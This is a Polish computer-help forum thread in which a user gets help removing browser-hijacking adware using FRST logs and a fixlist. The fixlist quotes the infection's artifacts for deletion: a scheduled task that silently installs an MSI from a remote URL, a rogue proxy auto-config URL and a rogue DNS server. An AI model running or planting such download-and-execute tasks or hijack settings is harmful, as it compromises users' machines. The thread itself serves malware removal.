logo elektroda
logo elektroda
X
logo elektroda
REKLAMA
REKLAMA
Adblock/uBlockOrigin/AdGuard mogą powodować znikanie niektórych postów z powodu nowej reguły.

Wyskakujące reklamy i przekierowania w Chrome, Firefox, Opera - jak usunąć?

Niqueide 17 Maj 2017 22:53 855 5
REKLAMA
  • #1 16482252
    Niqueide
    Poziom 8  
    Posty: 5
    Witam

    Mam problem otóż mam jakieś reklamy wyskakujące same na przeglądarce, nowe karty się otwierają, jakieś nieznajome wyszukiwarki się włączają, dodatkowy pasek do wyszukiwania.
    Przykładowo wpisuje w Google jakaś frazę to mnie przekierowuje do jakiejś strony gdzie tez wyszukuje i muszę wrócić i od nowa i dopiero wyszuka z Google. Używam Google chrome ale jak sprawdzałem to się dzieje tez na EDGE jak i na Mozilli i operze. Nie wiem jak temu zaradzić, czyściłem adw celanerem wykryło coś, wiec usunąłem ale nadal to samo.
    Proszę o jakąkolwiek pomoc
    Pozdrawiam.


    edit~~~

    Zapomniałem dodać ze przy każdym nowym włączeniu komputera w lokalizacji na dysku C ;\program Files pojawia się folder i antywirus wykrywa zagorzenia

    C:/Program Files/hr1hr7cq\{997EB8FA-D4F1-4C82-9079-1BFF34D2F686}
    Zajrzałem do tych folderów ale tam nie ma nic


    edit~~~~

    Logi zamieszczone z FRST
    Załączniki:
    • Addition.txt (38.03 KB) Musisz być zalogowany, aby pobrać ten załącznik.
    • FRST.txt (27.46 KB) Musisz być zalogowany, aby pobrać ten załącznik.
  • REKLAMA
  • Pomocny post
    #2 16482271
    Kolobos
    Spec od komputerów
    Posty: 85152
    Pomógł: 17159
    Ocena: 10421
    Zamiesc wymagane logi z FRST w zalaczniku.
  • REKLAMA
  • Pomocny post
    #3 16482405
    krzychupar
    Poziom 43  
    Posty: 6807
    Pomógł: 1490
    Ocena: 633
    Otwórz notatnik systemowy i wklej:

    Task: {94C63A07-BD9A-4789-9BDF-579833D1EFD3} - System32\Tasks\Microsoft\Windows\DeviceSettings\Sutaied => msiexec.exe /i hxxp://D2bUH1bF1g584W.clOuDfroNt.net/mmtsk/occup.php?p=GOODRAM_A21B07641C6500175405&amp;d=20170512 /q <==== UWAGA
    HKU\S-1-5-21-1403535600-935831297-104378466-1001\...\MountPoints2: {09a3e326-aa94-11e6-954d-3497f6a39283} - "G:\HiSuiteDownLoader.exe"
    HKU\S-1-5-21-1403535600-935831297-104378466-1001\...\MountPoints2: {2d760b0e-ab4d-11e6-954e-3497f6a39283} - "G:\HiSuiteDownLoader.exe"
    HKU\S-1-5-21-1403535600-935831297-104378466-1001\...\MountPoints2: {4171a473-20f9-11e7-958a-3497f6a39283} - "G:\HiSuiteDownLoader.exe"
    HKU\S-1-5-21-1403535600-935831297-104378466-1001\...\MountPoints2: {4171a47c-20f9-11e7-958a-3497f6a39283} - "G:\HiSuiteDownLoader.exe"
    AutoConfigURL: [S-1-5-21-1403535600-935831297-104378466-1001] => hxxp://unstopweb.net/wpad.dat?17a78513849bf7dad4e2a259c7ac4aae31240305
    Tcpip\..\Interfaces\{efd0c2b0-0d45-4134-bf25-892bc6e2210e}: [NameServer] 77.234.40.79
    FF Plugin-x32: @foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/pdf -> C:\Program Files (x86)\Foxit Software\Foxit Reader\plugins\npFoxitReaderPlugin.dll [Brak pliku]
    FF Plugin-x32: @foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/vnd.fdf -> C:\Program Files (x86)\Foxit Software\Foxit Reader\plugins\npFoxitReaderPlugin.dll [Brak pliku]
    FF Plugin-x32: @foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/vnd.xdp -> C:\Program Files (x86)\Foxit Software\Foxit Reader\plugins\npFoxitReaderPlugin.dll [Brak pliku]
    FF Plugin-x32: @foxitsoftware.com/Foxit Reader Plugin,version=1.0,application/vnd.xfdf -> C:\Program Files (x86)\Foxit Software\Foxit Reader\plugins\npFoxitReaderPlugin.dll [Brak pliku]
    CHR HKLM-x32\...\Chrome\Extension: [eofcbnmajmjmplflapaojjnihcjkigck] - hxxps://clients2.google.com/service/update2/crx
    CHR HKLM-x32\...\Chrome\Extension: [gomekmidlodglbbmalcneegieacbdmki] - hxxps://clients2.google.com/service/update2/crx
    2017-05-17 23:04 - 2017-05-17 23:04 - 00000000 ____D C:\ProgramData\SWCUTemp
    2017-05-17 23:00 - 2017-05-17 23:00 - 00000000 ____D C:\Program Files\hr1hr7cq
    2017-05-17 22:55 - 2017-05-17 22:58 - 00000000 ____D C:\AdwCleaner
    2017-05-16 22:19 - 2017-05-16 22:20 - 00000000 ___HD C:\$SysReset
    2017-05-16 20:28 - 2017-05-16 20:28 - 00000000 _____ C:\autoexec.bat
    2017-05-12 22:19 - 2017-05-12 22:19 - 00000000 ___HD C:\$AV_ASW
    2017-05-12 17:41 - 2016-07-16 13:36 - 00000000 ____D C:\Windows\CbsTemp
    2017-04-30 00:09 - 2017-03-25 00:11 - 00000000 ____D C:\Windows\LastGood
    EmptyTemp:

    Plik zapisz pod nazwą fixlist.txt i umieść w folderze obok FRST.exe.
    Uruchom FRST i kliknij w Fix/Napraw.
  • REKLAMA
  • #4 16483253
    Niqueide
    Poziom 8  
    Posty: 5
    Chyba się naprawiło hahah dzięki wielkie ;D

    A tak poza tym jedno pytanko jeszcze, polecacie CCleaner i Malwarebytes i Adwcleaner ?
    Jaka jest wasza opinia na temat tych programów ?
  • REKLAMA
  • #5 16484303
    atenesh
    Poziom 7  
    Posty: 6
    Niqueide napisał:
    Chyba się naprawiło hahah dzięki wielkie ;D

    A tak poza tym jedno pytanko jeszcze, polecacie CCleaner i Malwarebytes i Adwcleaner ?
    Jaka jest wasza opinia na temat tych programów ?


    Jeśli będziesz dbał o używanie ich regularnie to jak najbardziej tak. Ja osobiście używam CCleanera - do czyszczenia systemu, SpyBot - do zabezpieczania i standardowego programu antywirusowego oferowane przez system operacyjny.
    Używam i aktualizuję te programy na bieżąco + zawsze uważam co instaluję, itd. i nie mam problemów.
  • Pomocny post
    #6 16484368
    RADU23
    VIP Zasłużony dla elektroda
    Posty: 20712
    Pomógł: 2425
    Ocena: 1726
    atenesh napisał:
    SpyBot

    Akurat co do tego programu, to nie polecam.
    Niqueide napisał:
    CCleaner i Malwarebytes i Adwcleaner

    CCleaner owszem, gdy posługujesz się nim z rozsądkiem i wykonujesz kopię rejestru.
    MBAM oraz ADWcleaner profilaktycznie co jakiś czas, wskazane.

    Niqueide napisał:
    Chyba się naprawiło hahah dzięki wielkie ;D

    Wyskakujące reklamy i przekierowania w Chrome, Firefox, Opera - jak usunąć?
REKLAMA